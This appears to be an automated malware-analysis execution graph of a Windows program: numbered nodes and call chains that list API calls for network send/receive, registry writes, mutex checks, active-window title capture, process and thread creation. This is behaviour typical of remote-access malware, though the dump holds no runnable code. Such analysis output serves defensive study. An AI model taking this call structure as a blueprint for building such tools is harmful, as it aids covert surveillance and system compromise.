                                                                                    Total number of Limit Nodes:61
                                                                                    execution_graph 44874 285ccb5 44875 285ccc0 44874->44875 44876 285cce8 44875->44876 44877 285ccd9 44875->44877 44878 285ccf7 44876->44878 44896 2863513 21 API calls 2 library calls 44876->44896 44895 284ad91 20 API calls _free 44877->44895 44883 2853697 44878->44883 44882 285ccde ___scrt_get_show_window_mode 44884 28536a4 44883->44884 44885 28536af 44883->44885 44897 2853649 21 API calls 3 library calls 44884->44897 44887 28536b7 44885->44887 44893 28536c0 ___crtLCMapStringA 44885->44893 44888 2853c92 _free 20 API calls 44887->44888 44891 28536ac 44888->44891 44889 28536c5 44898 284ad91 20 API calls _free 44889->44898 44890 28536ea RtlReAllocateHeap 44890->44891 44890->44893 44891->44882 44893->44889 44893->44890 44899 2850480 7 API calls 2 library calls 44893->44899 44895->44882 44896->44878 44897->44891 44898->44891 44899->44893 44900 282bd72 44901 282bd87 _Yarn ___scrt_get_show_window_mode 44900->44901 44913 282bf8a 44901->44913 44919 2840c79 21 API calls _Yarn 44901->44919 44904 282bf37 ___scrt_get_show_window_mode 44905 282bf3e 44904->44905 44920 2840c79 21 API calls _Yarn 44904->44920 44906 282bf9b 44906->44905 44915 2840c79 21 API calls _Yarn 44906->44915 44909 282bfd4 ___scrt_get_show_window_mode 44909->44905 44916 28412ff 44909->44916 44911 282bf64 ___scrt_get_show_window_mode 44911->44905 44921 2840c79 21 API calls _Yarn 44911->44921 44913->44905 44914 282b917 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection ___scrt_get_show_window_mode 44913->44914 44914->44906 44915->44909 44922 284121e 44916->44922 44918 2841307 44918->44905 44919->44904 44920->44911 44921->44913 44923 2841237 44922->44923 44927 284122d 44922->44927 44923->44927 44928 2840c79 21 API calls _Yarn 44923->44928 44925 2841258 44925->44927 44929 28415ec CryptAcquireContextA 44925->44929 44927->44918 44928->44925 44930 284160d CryptGenRandom 44929->44930 44931 2841608 44929->44931 44930->44931 44932 2841622 CryptReleaseContext 44930->44932 44931->44927 44932->44931 44933 2834991 44939 2834a66 recv 44933->44939 44802 2834a00 44807 2834a7d send 44802->44807 44940 28244da 45186 28120d6 44940->45186 44943 282450e 45192 2814182 44943->45192 44946 28120d6 28 API calls 44947 2824538 44946->44947 44948 28120d6 28 API calls 44947->44948 44949 282454a 44948->44949 45195 2829d87 44949->45195 44952 2824563 44954 2825188 44952->44954 44955 2824569 44952->44955 44953 2825281 44957 28252c1 44953->44957 44958 28252e6 44953->44958 44959 28254e6 44953->44959 44960 2825506 44953->44960 44961 28253ca 44953->44961 44962 282548f 44953->44962 44963 282558f 44953->44963 44964 28255ad 44953->44964 44965 2825412 44953->44965 44966 2825432 44953->44966 44967 2825452 44953->44967 44968 2825510 44953->44968 44969 28255f5 44953->44969 44970 2825599 44953->44970 44971 282529e 44953->44971 44972 282535f 44953->44972 44973 282555d 44953->44973 45062 28246cf 44953->45062 45272 28257e1 11 API calls 44954->45272 44988 282457c GetTickCount 44955->44988 44955->45062 45185 28246f2 44955->45185 44984 2811e45 22 API calls 44957->44984 44991 2811e45 22 API calls 44958->44991 44992 2811e45 22 API calls 44959->44992 45363 2828e33 98 API calls 44960->45363 44976 2811e45 22 API calls 44961->44976 44980 2811e45 22 API calls 44962->44980 45366 2828ccd 100 API calls 44963->45366 45368 28166a6 58 API calls 44964->45368 44985 2811e45 22 API calls 44965->44985 44990 2811e45 22 API calls 44966->44990 44995 2811e45 22 API calls 44967->44995 44977 2825519 44968->44977 44978 282553e ShowWindow SetForegroundWindow 44968->44978 45369 2815b0b 48 API calls 44969->45369 45367 2828dec 56 API calls 44970->45367 44981 2811e45 22 API calls 44971->44981 45344 2817ba0 11 API calls 44972->45344 44982 2811e45 22 API calls 44973->44982 45000 28253e5 44976->45000 45364 282aa4f 81 API calls ___scrt_get_show_window_mode 44977->45364 44978->45062 44997 282549b 44980->44997 45002 28252a9 44981->45002 45003 282556a 44982->45003 45004 28252cc 44984->45004 45005 282541d 44985->45005 45217 2829b16 44988->45217 45008 282543d 44990->45008 45009 28252f1 44991->45009 44999 28254f1 44992->44999 44994 2825194 45011 2811e45 22 API calls 44994->45011 45012 282545f 44995->45012 44996 28255fe 45014 2811e45 22 API calls 44996->45014 45038 28254b0 44997->45038 45039 28254c7 44997->45039 44998 282536b 45016 2811e45 22 API calls 44998->45016 45022 28120d6 28 API calls 44999->45022 45036 2811e45 22 API calls 45000->45036 45015 28120d6 28 API calls 45002->45015 45041 2811e45 22 API calls 45003->45041 45043 2849867 39 API calls 45004->45043 45017 28120d6 28 API calls 45005->45017 45006 2811fb8 11 API calls 45018 2825669 45006->45018 45021 28120d6 28 API calls 45008->45021 45033 28252f8 StrToIntA 45009->45033 45010 28255b2 45023 2811e45 22 API calls 45010->45023 45024 282519f 45011->45024 45349 2812073 45012->45349 45013 2825520 CreateThread 45013->45062 45664 282b212 10 API calls 45013->45664 45025 2825609 45014->45025 45028 28252b4 45015->45028 45026 2825376 45016->45026 45029 2825428 45017->45029 45030 2811fb8 11 API calls 45018->45030 45032 2825448 45021->45032 45027 28254fc 45022->45027 45034 28255bf 45023->45034 45052 2849867 39 API calls 45024->45052 45037 2811e45 22 API calls 45025->45037 45042 28120d6 28 API calls 45026->45042 45362 28259ba 104 API calls 45027->45362 45028->45062 45282 2816bda 98 API calls 45028->45282 45347 2827a63 98 API calls 45029->45347 45045 2825675 45030->45045 45348 2813f08 98 API calls 45032->45348 45048 2811e45 22 API calls 45033->45048 45050 2829b16 28 API calls 45034->45050 45059 28253f8 45036->45059 45054 2825616 45037->45054 45055 2811e45 22 API calls 45038->45055 45057 2811e45 22 API calls 45039->45057 45060 2825581 45041->45060 45056 2825381 45042->45056 45061 28252d9 45043->45061 45046 2824599 45063 2829b16 28 API calls 45046->45063 45064 282530c 45048->45064 45051 28255d5 45050->45051 45065 2812ef0 28 API calls 45051->45065 45066 28251ac 45052->45066 45053 2825471 45355 282215f RegCreateKeyA 45053->45355 45370 2812f11 28 API calls 45054->45370 45068 28254b5 45055->45068 45070 2811e45 22 API calls 45056->45070 45071 28254cc 45057->45071 45058 2825501 45084 2849867 39 API calls 45059->45084 45365 2828dcb 28 API calls 45060->45365 45283 2818a88 22 API calls 45061->45283 45372 2811e6d 45062->45372 45073 28245a4 45063->45073 45284 281c5ed 45064->45284 45074 28255e0 45065->45074 45273 2825ceb 28 API calls 45066->45273 45077 28120d6 28 API calls 45068->45077 45078 282538c 45070->45078 45079 28120d6 28 API calls 45071->45079 45224 2829a77 45073->45224 45081 2812ef0 28 API calls 45074->45081 45076 2825621 45085 2812ef0 28 API calls 45076->45085 45086 28254c0 45077->45086 45087 28120d6 28 API calls 45078->45087 45079->45086 45091 28255ea 45081->45091 45082 28251c6 45100 2811e45 22 API calls 45082->45100 45094 2825405 SetWindowTextW 45084->45094 45092 282562d 45085->45092 45361 28257f2 100 API calls 45086->45361 45093 2825397 45087->45093 45090 282531f 45104 2811e45 22 API calls 45090->45104 45091->44969 45371 2815e74 97 API calls 45092->45371 45097 2811e45 22 API calls 45093->45097 45094->44965 45102 28253a2 45097->45102 45105 28251d9 45100->45105 45101 2825639 45106 2811fb8 11 API calls 45101->45106 45107 28120d6 28 API calls 45102->45107 45110 2825336 45104->45110 45111 28120d6 28 API calls 45105->45111 45112 2825642 45106->45112 45113 28253ad 45107->45113 45108 28245ce 45238 2812f11 28 API calls 45108->45238 45342 282a27c CreateFileW SetFilePointer CloseHandle WriteFile CloseHandle 45110->45342 45116 28251e4 45111->45116 45117 282564b 45112->45117 45118 2811fb8 11 API calls 45112->45118 45345 281631d 98 API calls 45113->45345 45114 28245dc 45239 2812e81 28 API calls 45114->45239 45122 2811e45 22 API calls 45116->45122 45117->45062 45124 2811fb8 11 API calls 45117->45124 45118->45117 45121 282533f 45343 282a76c 32 API calls 45121->45343 45126 28251ef 45122->45126 45123 28253b9 45346 2817bae 87 API calls 45123->45346 45124->45062 45125 28245eb 45240 2812ef0 45125->45240 45129 28120d6 28 API calls 45126->45129 45132 28251fa 45129->45132 45135 2811e45 22 API calls 45132->45135 45134 2825351 45138 2811ee9 11 API calls 45134->45138 45137 2825205 45135->45137 45136 2824609 45139 2812ef0 28 API calls 45136->45139 45274 281415e 45137->45274 45138->45062 45140 2824615 45139->45140 45246 2812e81 28 API calls 45140->45246 45143 282461f 45247 2814a81 56 API calls _Yarn 45143->45247 45146 2811e45 22 API calls 45148 2825222 45146->45148 45147 282462e 45248 2811fb8 45147->45248 45152 281415e 28 API calls 45148->45152 45151 2811fb8 11 API calls 45153 2824643 45151->45153 45154 2825234 45152->45154 45155 2811fb8 11 API calls 45153->45155 45280 281838e 105 API calls 2 library calls 45154->45280 45157 282464f 45155->45157 45158 2811fb8 11 API calls 45157->45158 45160 282465b 45158->45160 45161 2811fb8 11 API calls 45160->45161 45164 2824667 45161->45164 45162 2825240 45281 2818ae3 87 API calls 45162->45281 45163 28246c2 45163->45062 45165 2811fb8 11 API calls 45164->45165 45166 2824673 45165->45166 45251 2811ee9 45166->45251 45169 2811fb8 11 API calls 45170 2824688 45169->45170 45171 2811fb8 11 API calls 45170->45171 45172 2824691 45171->45172 45173 2811e45 22 API calls 45172->45173 45174 282469c 45173->45174 45254 2849867 45174->45254 45177 28246d4 45179 2811e45 22 API calls 45177->45179 45178 28246ae 45181 28246c7 45178->45181 45182 28246bc 45178->45182 45180 28246de 45179->45180 45180->45062 45180->45185 45259 2814f31 45181->45259 45258 2814fd4 81 API calls 45182->45258 45271 28150c4 83 API calls 45185->45271 45187 28120ec 45186->45187 45378 28123ae 45187->45378 45189 2812106 45382 2812549 45189->45382 45191 2812114 SetEvent 45191->44943 45420 281421a 45192->45420 45426 28120bf 45195->45426 45197 2829e0a 45198 2811fb8 11 API calls 45197->45198 45199 2829e3c 45198->45199 45200 2811fb8 11 API calls 45199->45200 45202 2829e44 45200->45202 45201 2829e0c 45203 2814182 28 API calls 45201->45203 45205 2811fb8 11 API calls 45202->45205 45206 2829e18 45203->45206 45204 2814182 28 API calls 45216 2829d9a 45204->45216 45207 2824553 45205->45207 45208 2811fc2 28 API calls 45206->45208 45207->44952 45207->44953 45210 2829e21 45208->45210 45211 2811fb8 11 API calls 45210->45211 45213 2829e29 45211->45213 45212 2811fb8 11 API calls 45212->45216 45440 282ab9a 28 API calls 45213->45440 45216->45197 45216->45201 45216->45204 45216->45212 45430 2811fc2 45216->45430 45439 282ab9a 28 API calls 45216->45439 45446 284f34f 45217->45446 45220 2812073 28 API calls 45221 282458d 45220->45221 45222 2829ac6 45221->45222 45223 2829adc GetTickCount 45222->45223 45223->45046 45455 2844c30 45224->45455 45227 281415e 28 API calls 45228 28245b2 45227->45228 45229 2829c8a 45228->45229 45230 2829c97 45229->45230 45457 2812097 45230->45457 45233 2811e45 45234 2811e4d 45233->45234 45235 2811e55 45234->45235 45470 2812138 22 API calls 45234->45470 45235->45108 45238->45114 45239->45125 45471 2811f90 45240->45471 45242 2812efe 45474 2812035 45242->45474 45245 2812e81 28 API calls 45245->45136 45246->45143 45247->45147 45249 28123ae 11 API calls 45248->45249 45250 2811fc1 45249->45250 45250->45151 45490 2812232 45251->45490 45253 2811ef2 45253->45169 45255 2849880 _swprintf 45254->45255 45495 2848bbe 45255->45495 45257 28246a9 45257->45177 45257->45178 45258->45163 45260 2814f4e 45259->45260 45261 2814f45 45259->45261 45260->45062 45261->45260 45262 2829b16 28 API calls 45261->45262 45263 2814f71 45262->45263 45523 28152dd 45263->45523 45266 2812073 28 API calls 45267 2814f90 45266->45267 45528 28294da 45267->45528 45270 2811fb8 11 API calls 45270->45260 45271->45163 45272->44994 45273->45082 45275 2814166 45274->45275 45276 2812232 11 API calls 45275->45276 45277 2814171 45276->45277 45606 281419c 45277->45606 45280->45162 45281->45163 45282->45062 45283->45062 45631 2811f66 45284->45631 45287 281c629 45635 282959f 29 API calls 45287->45635 45288 281c65e 45645 2829f23 45288->45645 45289 281c61f 45291 281c752 GetLongPathNameW 45289->45291 45294 281415e 28 API calls 45291->45294 45293 281c632 45636 2811ef3 45293->45636 45297 281c767 45294->45297 45301 281415e 28 API calls 45297->45301 45298 281c667 45303 281415e 28 API calls 45298->45303 45299 281c6b9 45302 281415e 28 API calls 45299->45302 45300 281c63c 45307 2811ee9 11 API calls 45300->45307 45304 281c776 45301->45304 45305 281c6c7 45302->45305 45306 281c675 45303->45306 45650 281c7f9 28 API calls 45304->45650 45310 281415e 28 API calls 45305->45310 45311 281415e 28 API calls 45306->45311 45307->45289 45309 281c789 45651 2812f85 28 API calls 45309->45651 45313 281c6dd 45310->45313 45314 281c68b 45311->45314 45649 2812f85 28 API calls 45313->45649 45648 2812f85 28 API calls 45314->45648 45315 281c794 45652 2812f85 28 API calls 45315->45652 45319 281c79e 45322 2811ee9 11 API calls 45319->45322 45320 281c6e8 45323 2811ef3 28 API calls 45320->45323 45321 281c696 45324 2811ef3 28 API calls 45321->45324 45325 281c7a8 45322->45325 45326 281c6f3 45323->45326 45327 281c6a1 45324->45327 45328 2811ee9 11 API calls 45325->45328 45329 2811ee9 11 API calls 45326->45329 45330 2811ee9 11 API calls 45327->45330 45331 281c7b1 45328->45331 45332 281c6fc 45329->45332 45333 281c6aa 45330->45333 45334 2811ee9 11 API calls 45331->45334 45335 2811ee9 11 API calls 45332->45335 45336 2811ee9 11 API calls 45333->45336 45337 281c7ba 45334->45337 45335->45300 45336->45300 45338 2811ee9 11 API calls 45337->45338 45339 281c7c3 45338->45339 45340 2811ee9 11 API calls 45339->45340 45341 281c7cc 45340->45341 45341->45090 45342->45121 45343->45134 45344->44998 45345->45123 45346->45062 45350 281207b 45349->45350 45351 28123ae 11 API calls 45350->45351 45352 2812086 45351->45352 45658 28124cd 45352->45658 45356 28221af 45355->45356 45358 2822178 45355->45358 45357 2811fb8 11 API calls 45356->45357 45359 28221b9 45357->45359 45360 282218a RegSetValueExA RegCloseKey 45358->45360 45359->45062 45360->45356 45361->45062 45362->45058 45363->45062 45364->45013 45365->45062 45366->45163 45367->45062 45368->45010 45369->44996 45370->45076 45371->45101 45373 2812143 45372->45373 45377 281217f 45373->45377 45662 2812710 11 API calls 45373->45662 45375 2812164 45663 28126f2 11 API calls std::_Deallocate 45375->45663 45377->45006 45379 2812408 45378->45379 45380 28123b8 45378->45380 45379->45189 45380->45379 45392 2812787 11 API calls std::_Deallocate 45380->45392 45393 2812868 45382->45393 45384 281255d 45385 2812572 45384->45385 45386 2812587 45384->45386 45398 2812a14 22 API calls 45385->45398 45400 28128c8 45386->45400 45389 281257b 45399 28129ba 22 API calls 45389->45399 45391 2812585 45391->45191 45392->45379 45394 2812870 45393->45394 45395 2812878 45394->45395 45411 2812c83 22 API calls 45394->45411 45395->45384 45398->45389 45399->45391 45401 28128d1 45400->45401 45402 2812933 45401->45402 45403 28128db 45401->45403 45418 2812884 22 API calls 45402->45418 45406 28128f7 45403->45406 45407 28128e4 45403->45407 45409 28128f5 45406->45409 45410 28123ae 11 API calls 45406->45410 45412 2812c8e 45407->45412 45409->45391 45410->45409 45413 2812c98 __EH_prolog 45412->45413 45419 2812e34 22 API calls 45413->45419 45415 28123ae 11 API calls 45417 2812d72 45415->45417 45416 2812d04 45416->45415 45417->45409 45419->45416 45421 2814223 45420->45421 45422 28123ae 11 API calls 45421->45422 45423 281422e 45422->45423 45424 2812549 28 API calls 45423->45424 45425 2814195 45424->45425 45425->44946 45427 28120c7 45426->45427 45428 28123ae 11 API calls 45427->45428 45429 28120d2 45428->45429 45429->45216 45431 2811fd1 45430->45431 45432 2812019 45430->45432 45433 28123ae 11 API calls 45431->45433 45432->45216 45434 2811fda 45433->45434 45435 281201c 45434->45435 45437 2811ff5 45434->45437 45442 281265a 45435->45442 45441 2813078 28 API calls 45437->45441 45439->45216 45440->45197 45441->45432 45443 281266b 45442->45443 45444 28123ae 11 API calls 45443->45444 45445 28126eb 45444->45445 45445->45432 45447 284f35b 45446->45447 45450 284f14b 45447->45450 45449 2829b3a 45449->45220 45451 284f162 45450->45451 45453 284f199 __wsopen_s 45451->45453 45454 284ad91 20 API calls _free 45451->45454 45453->45449 45454->45453 45456 2829a98 GetForegroundWindow GetWindowTextW 45455->45456 45456->45227 45458 281209f 45457->45458 45459 28123ae 11 API calls 45458->45459 45460 28120aa 45459->45460 45463 28124ea 45460->45463 45462 28120b9 45462->45233 45464 28124fa 45463->45464 45465 2812500 45464->45465 45466 2812515 45464->45466 45468 2812549 28 API calls 45465->45468 45467 28128c8 28 API calls 45466->45467 45469 2812513 45467->45469 45468->45469 45469->45462 45480 28125d0 45471->45480 45473 2811f9d 45473->45242 45475 2812041 45474->45475 45476 28123ae 11 API calls 45475->45476 45477 281205b 45476->45477 45478 281265a 11 API calls 45477->45478 45479 281206d 45478->45479 45479->45245 45481 2812868 22 API calls 45480->45481 45482 28125e2 45481->45482 45483 2812652 45482->45483 45484 2812609 45482->45484 45489 2812884 22 API calls 45483->45489 45486 281261b 45484->45486 45488 28128c8 28 API calls 45484->45488 45486->45473 45488->45486 45491 281228c 45490->45491 45492 281223c 45490->45492 45491->45253 45492->45491 45494 2812759 11 API calls std::_Deallocate 45492->45494 45494->45491 45511 28497c5 45495->45511 45497 2848c0b 45517 2848557 35 API calls 3 library calls 45497->45517 45499 2848be5 45516 284ad91 20 API calls _free 45499->45516 45500 2848bd0 45500->45497 45500->45499 45502 2848bea __wsopen_s 45500->45502 45502->45257 45504 2848c17 45506 2848c46 45504->45506 45518 284980a 39 API calls __Tolower 45504->45518 45505 2848cb2 45520 2849771 20 API calls 2 library calls 45505->45520 45506->45505 45519 2849771 20 API calls 2 library calls 45506->45519 45509 2848d79 _swprintf 45509->45502 45521 284ad91 20 API calls _free 45509->45521 45512 28497dd 45511->45512 45513 28497ca 45511->45513 45512->45500 45522 284ad91 20 API calls _free 45513->45522 45515 28497cf __wsopen_s 45515->45500 45516->45502 45517->45504 45518->45504 45519->45505 45520->45509 45521->45502 45522->45515 45552 281533f 45523->45552 45525 28152eb 45526 2812035 11 API calls 45525->45526 45527 2814f81 45526->45527 45527->45266 45529 28294f0 GetLocalTime 45528->45529 45530 282958b 45528->45530 45571 28152fe 45529->45571 45532 2811fb8 11 API calls 45530->45532 45534 2829593 45532->45534 45533 2829532 45576 2818209 45533->45576 45536 2811fb8 11 API calls 45534->45536 45538 2814f95 45536->45538 45538->45270 45539 2812ef0 28 API calls 45540 282954a 45539->45540 45541 2818209 28 API calls 45540->45541 45542 2829556 45541->45542 45581 282928b 76 API calls 45542->45581 45544 2829564 45545 2811fb8 11 API calls 45544->45545 45546 2829570 45545->45546 45547 2811fb8 11 API calls 45546->45547 45548 2829579 45547->45548 45549 2811fb8 11 API calls 45548->45549 45550 2829582 45549->45550 45551 2811fb8 11 API calls 45550->45551 45551->45530 45553 281534b 45552->45553 45556 2815362 45553->45556 45555 2815359 45555->45525 45557 2815370 45556->45557 45558 2815376 45557->45558 45559 281538d 45557->45559 45569 2813830 28 API calls 45558->45569 45560 2812868 22 API calls 45559->45560 45561 2815395 45560->45561 45563 2815407 45561->45563 45564 28153ae 45561->45564 45570 2812884 22 API calls 45563->45570 45566 28128c8 28 API calls 45564->45566 45568 281538b 45564->45568 45566->45568 45568->45555 45569->45568 45572 28120bf 11 API calls 45571->45572 45573 281530a 45572->45573 45582 2813280 45573->45582 45575 2815326 45575->45533 45586 28151cf 45576->45586 45578 2818217 45579 2812035 11 API calls 45578->45579 45580 2818226 45579->45580 45580->45539 45581->45544 45584 281328a 45582->45584 45583 28132a9 45583->45575 45584->45583 45585 28128c8 28 API calls 45584->45585 45585->45583 45587 28151db 45586->45587 45590 2815254 45587->45590 45589 28151e8 45589->45578 45591 2815262 45590->45591 45592 2815268 45591->45592 45593 281527e 45591->45593 45594 28125d0 28 API calls 45592->45594 45595 28152d5 45593->45595 45596 2815296 45593->45596 45601 281527c 45594->45601 45605 2812884 22 API calls 45595->45605 45598 28128c8 28 API calls 45596->45598 45596->45601 45598->45601 45601->45589 45607 28141a8 45606->45607 45610 28141b9 45607->45610 45609 281417c 45609->45146 45611 28141c9 45610->45611 45612 28141e6 45611->45612 45613 28141cf 45611->45613 45627 28127c6 28 API calls 45612->45627 45617 2814247 45613->45617 45616 28141e4 45616->45609 45618 2812868 22 API calls 45617->45618 45619 281425b 45618->45619 45620 2814270 45619->45620 45621 2814285 45619->45621 45628 28142bf 22 API calls 45620->45628 45630 28127c6 28 API calls 45621->45630 45624 2814279 45629 2812c28 22 API calls 45624->45629 45626 2814283 45626->45616 45627->45616 45628->45624 45629->45626 45630->45626 45632 2811f6e 45631->45632 45633 2812232 11 API calls 45632->45633 45634 2811f79 45633->45634 45634->45287 45634->45288 45634->45289 45635->45293 45637 2811f02 45636->45637 45638 2811f4a 45636->45638 45639 2812232 11 API calls 45637->45639 45638->45300 45640 2811f0b 45639->45640 45641 2811f4d 45640->45641 45643 2811f26 45640->45643 45654 2812316 45641->45654 45653 281303c 28 API calls 45643->45653 45646 2829f30 GetCurrentProcess 45645->45646 45647 281c663 45645->45647 45646->45647 45647->45298 45647->45299 45648->45321 45649->45320 45650->45309 45651->45315 45652->45319 45653->45638 45655 2812327 45654->45655 45656 2812232 11 API calls 45655->45656 45657 28123a7 45656->45657 45657->45638 45659 28124d9 45658->45659 45660 28124ea 28 API calls 45659->45660 45661 2812091 45660->45661 45661->45053 45662->45375 45663->45377 45665 284263c 45666 2842648 ___scrt_is_nonwritable_in_current_image 45665->45666 45692 284234b 45666->45692 45668 284264f 45670 2842678 45668->45670 45966 28427ae IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 45668->45966 45677 28426b7 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 45670->45677 45703 2851763 45670->45703 45674 2842697 ___scrt_is_nonwritable_in_current_image 45682 2842717 45677->45682 45968 28508e7 35 API calls 3 library calls 45677->45968 45707 28428c9 45682->45707 45693 2842354 45692->45693 45973 28429da IsProcessorFeaturePresent 45693->45973 45695 2842360 45974 2846cd1 10 API calls 4 library calls 45695->45974 45697 2842365 45702 2842369 45697->45702 45975 28515bf IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 45697->45975 45699 2842372 45700 2842380 45699->45700 45976 2846cfa 8 API calls 3 library calls 45699->45976 45700->45668 45702->45668 45706 285177a 45703->45706 45705 2842691 45705->45674 45967 2851707 5 API calls _ValidateLocalCookies 45705->45967 45977 2842d4b 45706->45977 45708 2844c30 ___scrt_get_show_window_mode 45707->45708 45709 28428dc GetStartupInfoW 45708->45709 45710 284271d 45709->45710 45711 28516b4 45710->45711 45712 285c239 48 API calls 45711->45712 45715 28516bd 45712->45715 45713 2842726 45716 281d3f0 45713->45716 45715->45713 45985 2853d25 35 API calls 45715->45985 45986 282a8da LoadLibraryA GetProcAddress 45716->45986 45718 281d40c 45993 281dd83 45718->45993 45720 281d415 45721 28120d6 28 API calls 45720->45721 45722 281d424 45721->45722 45723 28120d6 28 API calls 45722->45723 45724 281d433 45723->45724 45725 2829d87 28 API calls 45724->45725 45726 281d43c 45725->45726 46008 281e563 45726->46008 45728 281d445 45729 2811e6d 11 API calls 45728->45729 45730 281d44e 45729->45730 45731 281d461 45730->45731 45732 281d4b8 45730->45732 46175 281e609 95 API calls 45731->46175 45733 2811e45 22 API calls 45732->45733 45735 281d4c6 45733->45735 45739 2811e45 22 API calls 45735->45739 45736 281d473 45737 2811e45 22 API calls 45736->45737 45738 281d47f 45737->45738 46176 281f98d 36 API calls __EH_prolog 45738->46176 45740 281d4e5 45739->45740 45741 28152fe 28 API calls 45740->45741 45743 281d4f4 45741->45743 45745 2818209 28 API calls 45743->45745 45744 281d491 46177 281e5ba 77 API calls 45744->46177 45747 281d500 45745->45747 45749 2811fc2 28 API calls 45747->45749 45748 281d49a 46178 281dd70 70 API calls 45748->46178 45751 281d50e 45749->45751 45753 2811fb8 11 API calls 45751->45753 45755 281d517 45753->45755 45757 2811fb8 11 API calls 45755->45757 45758 281d520 45757->45758 45759 2811e45 22 API calls 45758->45759 45760 281d529 45759->45760 46012 2811fa0 45760->46012 45762 281d534 45763 2811e45 22 API calls 45762->45763 45764 281d54f 45763->45764 45765 2811e45 22 API calls 45764->45765 45766 281d569 45765->45766 45767 281d5cf 45766->45767 46179 281822a 45766->46179 45769 2811e45 22 API calls 45767->45769 45775 281d5dc 45769->45775 45770 281d594 45771 2811fc2 28 API calls 45770->45771 45772 281d5a0 45771->45772 45773 2811fb8 11 API calls 45772->45773 45777 281d5a9 45773->45777 45774 281d650 45779 281d660 CreateMutexA GetLastError 45774->45779 45775->45774 45776 2811e45 22 API calls 45775->45776 45778 281d5f5 45776->45778 46184 2821f34 RegOpenKeyExA 45777->46184 45782 281d5fc OpenMutexA 45778->45782 45780 281d991 45779->45780 45781 281d67f GetModuleFileNameW 45779->45781 45784 2811fb8 11 API calls 45780->45784 46016 28292ae 45781->46016 45786 281d622 45782->45786 45787 281d60f WaitForSingleObject CloseHandle 45782->45787 45808 281d99a ___scrt_get_show_window_mode 45784->45808 45792 2821f34 3 API calls 45786->45792 45787->45786 45790 281d6a0 45793 281d6f5 45790->45793 45795 2811e45 22 API calls 45790->45795 45791 281dd0f 46208 282239a 30 API calls 45791->46208 45800 281d63b 45792->45800 45794 2811e45 22 API calls 45793->45794 45798 281d720 45794->45798 45801 281d6bf 45795->45801 45797 281dd22 46209 2820eda 65 API calls ___scrt_get_show_window_mode 45797->46209 45802 281d731 45798->45802 45803 281d72c 45798->45803 45800->45774 46187 282239a 30 API calls 45800->46187 45801->45793 45809 281d6f7 45801->45809 45814 281d6db 45801->45814 45807 2811e45 22 API calls 45802->45807 46191 281e501 CreateProcessA CloseHandle CloseHandle ___scrt_get_show_window_mode 45803->46191 45805 2812073 28 API calls 45810 281dd3a 45805->45810 45817 281d73a 45807->45817 46195 28220e8 RegOpenKeyExA 45808->46195 46189 2821eea RegOpenKeyExA RegQueryValueExA RegCloseKey 45809->46189 45812 28152dd 28 API calls 45810->45812 45813 281dd4a 45812->45813 45815 2812073 28 API calls 45813->45815 45814->45793 46188 28167a0 36 API calls ___scrt_get_show_window_mode 45814->46188 45819 281dd59 45815->45819 45824 2811e45 22 API calls 45817->45824 45822 28294da 79 API calls 45819->45822 45820 281d70d 45820->45793 45823 281d712 45820->45823 45821 281d9ec 45827 2811e45 22 API calls 45821->45827 45828 281dd5e 45822->45828 46190 28166a6 58 API calls 45823->46190 45826 281d755 45824->45826 45832 2811e45 22 API calls 45826->45832 45829 281da10 45827->45829 45830 2811fb8 11 API calls 45828->45830 45835 2812073 28 API calls 45829->45835 45831 281dd6a 45830->45831 46091 2823980 45831->46091 45834 281d76f 45832->45834 45838 2811e45 22 API calls 45834->45838 45837 281da22 45835->45837 45836 281dd6f 45839 282215f 14 API calls 45837->45839 45840 281d789 45838->45840 45841 281da38 45839->45841 45844 2811e45 22 API calls 45840->45844 45842 2811e45 22 API calls 45841->45842 45843 281da44 45842->45843 45845 2849867 39 API calls 45843->45845 45848 281d7a3 45844->45848 45846 281da51 45845->45846 45850 281da61 45846->45850 45852 281da7e 45846->45852 45847 281d810 45847->45808 45851 281d828 45847->45851 45888 281d8a7 ___scrt_get_show_window_mode 45847->45888 45848->45847 45849 2811e45 22 API calls 45848->45849 45860 281d7b8 _wcslen 45849->45860 46198 282aa4f 81 API calls ___scrt_get_show_window_mode 45850->46198 45853 2811e45 22 API calls 45851->45853 45855 2812073 28 API calls 45852->45855 45857 281d831 45853->45857 45856 281da8d 45855->45856 45859 2812073 28 API calls 45856->45859 45863 2811e45 22 API calls 45857->45863 45858 281da70 CreateThread 45858->45852 45861 281da9c 45859->45861 45860->45847 45865 2811e45 22 API calls 45860->45865 45862 28294da 79 API calls 45861->45862 45864 281daa1 45862->45864 45866 281d843 45863->45866 45867 2811e45 22 API calls 45864->45867 45868 281d7d3 45865->45868 45870 2811e45 22 API calls 45866->45870 45869 281daad 45867->45869 45872 2811e45 22 API calls 45868->45872 45873 2811e45 22 API calls 45869->45873 45871 281d855 45870->45871 45876 2811e45 22 API calls 45871->45876 45874 281d7e8 45872->45874 45875 281dabf 45873->45875 45878 281c5ed 31 API calls 45874->45878 45880 2811e45 22 API calls 45875->45880 45877 281d87e 45876->45877 45884 2811e45 22 API calls 45877->45884 45879 281d7fb 45878->45879 45881 2811ef3 28 API calls 45879->45881 45882 281dad5 45880->45882 45883 281d807 45881->45883 45887 2811e45 22 API calls 45882->45887 45885 2811ee9 11 API calls 45883->45885 45886 281d88f 45884->45886 45885->45847 46192 281b871 46 API calls _wcslen 45886->46192 45889 281daf5 45887->45889 46033 2822338 45888->46033 45894 2849867 39 API calls 45889->45894 45892 281d942 ctype 45897 2811e45 22 API calls 45892->45897 45893 281d89f 45893->45888 45895 281db02 45894->45895 45896 2811e45 22 API calls 45895->45896 45898 281db0d 45896->45898 45899 281d959 45897->45899 45900 2811e45 22 API calls 45898->45900 45899->45821 45901 281d96d 45899->45901 45902 281db1e 45900->45902 45903 2811e45 22 API calls 45901->45903 46043 2818f1f 45902->46043 45904 281d976 45903->45904 46193 2829bca 28 API calls 45904->46193 45906 281d982 46194 281de34 88 API calls 45906->46194 45910 2811e45 22 API calls 45912 281db3c 45910->45912 45911 281d987 45911->45780 45911->45821 45913 281db83 45912->45913 45914 281db4a 45912->45914 45916 2811e45 22 API calls 45913->45916 46199 284229f 45914->46199 45918 281db91 45916->45918 45921 281dbd9 45918->45921 45922 281db9c 45918->45922 45919 2811e45 22 API calls 45920 281db65 45919->45920 45925 281db6c CreateThread 45920->45925 45924 2811e45 22 API calls 45921->45924 45923 284229f new 22 API calls 45922->45923 45926 